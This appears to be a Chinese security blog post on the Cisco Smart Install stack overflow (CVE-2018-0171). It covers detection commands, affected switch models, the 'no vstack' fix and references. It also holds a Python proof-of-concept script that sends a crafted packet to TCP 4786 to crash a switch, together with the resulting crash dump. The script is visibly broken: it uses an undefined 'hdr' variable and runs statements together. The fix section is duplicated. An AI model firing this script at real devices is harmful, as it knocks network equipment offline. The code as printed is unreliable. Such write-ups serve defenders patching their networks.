Cisco Smart Install远程命令执行漏洞

 

 

 

0x01前言

Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞,该漏洞攻击者无需身份验证登录即可远程执行任意代码。cisco Smart Install是一种即插即用的配置和图像管理功能,可为新的交换机提供简易的部署。该功能允许用户将思科交换机放置到到任何位置,将其安装到网络中,然后启动,无需其他配置要求。因此它可以完全控制易受攻击的网络设备。Smart Install是一种即插即用的配置和图像管理的功能,为新型交换机提供良好的图形界面管理。它能使初始化配置过程自动化,并通过当前加载操作系统的镜像提供新的交换机。该功能还可在配置发生变化的时候提供热插热拔的实时备份。需要注意的是,该功能在默认情况下客户端上是启用了的。

 

0x02漏洞描述

思科 IOS IOS-XE 系统 Smart Install Client 代码中存在一处缓冲区栈溢出漏洞(CVE-2018-0171)。攻击者可以远程向 TCP 4786 端口发送一个恶意数据包,利用该漏洞,触发目标设备的栈溢出漏洞造成设备拒绝服务(DoS)或在造成远程命令执行,攻击者可以远程控制受到漏洞影响的网络设备。据悉,思科交换器 TCP 4786 端口是默认开放的

0x03检查漏洞

1.如果您的思科网络设备开放了TCP 4786端口,则易受到攻击,为了找到这样的设备,只需通过nmap扫描目标网络。

nmap -p T:4786 192.168.1.0/24

2.要检查网络设备是否开放了Smart Install Client客户端功能,以下示例是在显示配置为Smart Install ClienCisco Catalyst交换机上的show vstack config命令输出:

switch1# show vstack config
 Role: Client (SmartInstall enabled)
 .
switch2# show vstack config
 Capability: Client
 Oper Mode: Enabled
 Role: Client

来自show vstack config命令输出的RoleClientOper ModeEnabledRoleClient(已启用SmartInstall信息确认设备上已启用了该功能。

3.思科机子上执行命令判断,开放了4786端口即使用了SMI

switch>show tcp brief all

TCBLocal Address           Foreign Address        (state)

0344B794*.4786                  *.*                    LISTEN

0350A018*.443                   *.*                    LISTEN

03293634*.443                   *.*                    LISTEN

03292D9C*.80                    *.*                    LISTEN

03292504*.80                    *.*                    LISTEN

Cisco IOSiex软件版本检查:

Router> show version

Cisco IOS Software, C2951 Software (C2951-UNIVERSALK9-M), Version 15.5(2)T1, RELEASE SOFTWARE (fc1)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) 1986-2015 by Cisco Systems, Inc.

Compiled Mon 22-Jun-15 09:32 by prod_rel_team

ios-xe-device# show version

Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version Denali 16.2.1, RELEASE SOFTWARE (fc1)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) 1986-2016 by Cisco Systems, Inc.

Compiled Sun 27-Mar-16 21:47 by mcpre

 

4.如果您不确定您的漏洞是否受到影响,可以使用CiscoCisco IOS Software Checker进行检测:
https://tools.cisco.com/security/center/softwarechecker.x

5.使用下面的脚本探测对应IP端口是否确实开放的是思科SMI协议

https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py

协议特征可以参见msf扒拉出来的

https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d

# python smi_check.py -i targetip

[INFO] Sending TCP probe to targetip:4786

[INFO] Smart Install Client feature active on targetip:4786

[INFO] targetip is affected

 

0x04 影响范围


影响设备:
Catalyst 4500 Supervisor Engines
Cisco Catalyst 3850 Series Switches
Cisco Catalyst 2960 Series Switches

包含部分Smart Install Client的设备也可能受到影响:
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs

 

 

0x05 漏洞验证

以下是此漏洞验证的PoC

# smi_ibc_init_discovery_BoF.py

import socket 

import struct 

from optparse import OptionParser 

 

# Parse the target options 

parser = OptionParser() 

parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() 

 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 

    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

 

def send_packet(sock, packet): 

    sock.send(packet)  

 

def receive(sock):  

    return sock.recv() 

 

if __name__ == "__main__": 

 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    con.connect((options.target, options.port)) 

 

    payload = 'BBBB' * 44  shellcode = 'D' * 2048 

 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

 

    pkt = hdr + tlv_1 + tlv_2 

 

    print "[*] Send a malicious packet"  

    send_packet(con, pkt)

 

要攻击交换机,则运行以下命令:

host$ ./smi_ibc_init_discovery_BoF.py-t 192.168.1.1

在交换机上应显示崩溃信息并重新启动:

 

00:10:35 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 1200, PC = 42424240

-Traceback= 42424240

Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15

=== Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:

...

Queued messages:

Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE

(fc3)

Technical Support: http://www.cisco.com/techsupport

Copyright (c) 1986-2016 by Cisco Systems, Inc.

Compiled Wed 17-Aug-16 13:46 by prod_rel_team

Instruction TLB Miss Exception (0x1200)!

SRR0 = 0x42424240  SRR1 = 0x00029230  SRR2 = 0x0152ACE4  SRR3 = 0x00029230

ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x84000000  DBSR = 0x00000000

CPU Register Context:

Vector = 0x00001200  PC = 0x42424240  MSR = 0x00029230  CR = 0x33000053

LR = 0x42424242  CTR = 0x014D5268  XER = 0xC000006A

R0 = 0x42424242  R1 = 0x02B1B0B0  R2 = 0x00000000  R3 = 0x032D12B4

R4 = 0x000000B6  R5 = 0x0000001E  R6 = 0xAA3BEC00  R7 = 0x00000014

R8 = 0x0000001E  R9 = 0x00000000  R10 = 0x001BA800  R11 = 0xFFFFFFFF

R12 = 0x00000000  R13 = 0x00110000  R14 = 0x0131E1A8  R15 = 0x02B1B1A8

R16 = 0x02B1B128  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x02B1B128

R20 = 0x02B1B128  R21 = 0x00000001  R22 = 0x02B1B128  R23 = 0x02B1B1A8

R24 = 0x00000001  R25 = 0x00000000  R26 = 0x42424242  R27 = 0x42424242

R28 = 0x42424242  R29 = 0x42424242  R30 = 0x42424242  R31 = 0x42424242

Stack trace:

PC = 0x42424240, SP = 0x02B1B0B0

Frame 00: SP = 0x42424242    PC = 0x42424242

 

 

0x06 漏洞修复

#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

NSJ-131-6-16-C2960_7(config)#no vstack 

NSJ-131-6-16-C2960_7(config)#exit

关键的就是这句 no vstack 

 

再看,端口已经关掉了。

#show tcp brief all 

TCB       Local Address           Foreign Address        (state)

075A0088  *.443                   *.*                    LISTEN

0759F6C8  *.443                   *.*                    LISTEN

0759ED08  *.80                    *.*                    LISTEN

0759E348  *.80                    *.*                    LISTEN

 

 

0x06 漏洞危害

可能会导致攻击者在受影响的设备上导致缓冲区溢出,这可能会产生如下影响:

触发设备的重新加载

允许攻击者在设备上执行任意代码

在受影响的设备上引发无限循环重启,是设备崩溃

 

0x07 漏洞修复

#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

NSJ-131-6-16-C2960_7(config)#no vstack 

NSJ-131-6-16-C2960_7(config)#exit

关键的就是这句 no vstack 

 

再看,端口已经关掉了。

#show tcp brief all 

TCB       Local Address           Foreign Address        (state)

075A0088  *.443                   *.*                    LISTEN

0759F6C8  *.443                   *.*                    LISTEN

0759ED08  *.80                    *.*                    LISTEN

0759E348  *.80                    *.*                    LISTEN

 

0x08 参考文献

https://embedi.com/blog/cisco-smart-install-remote-code-execution/

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2

https://www.anquanke.com/post/id/103122

https://mp.weixin.qq.com/s/cMYUuGFmox5PK89fO_eR8w

https://www.youtube.com/watch?v=CE7KNK6UJuk&feature=youtu.be&t=99

https://www.youtube.com/watch?v=TSg5EZVudNU&feature=youtu.be

posted @ 2018-03-30 14:07 渗透测试中心 阅读(...) 评论(...) 编辑 收藏